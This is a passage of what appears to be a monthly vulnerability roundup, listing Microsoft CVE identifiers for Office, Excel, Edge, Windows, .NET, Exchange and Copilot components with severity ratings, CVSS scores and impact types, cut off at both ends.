RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  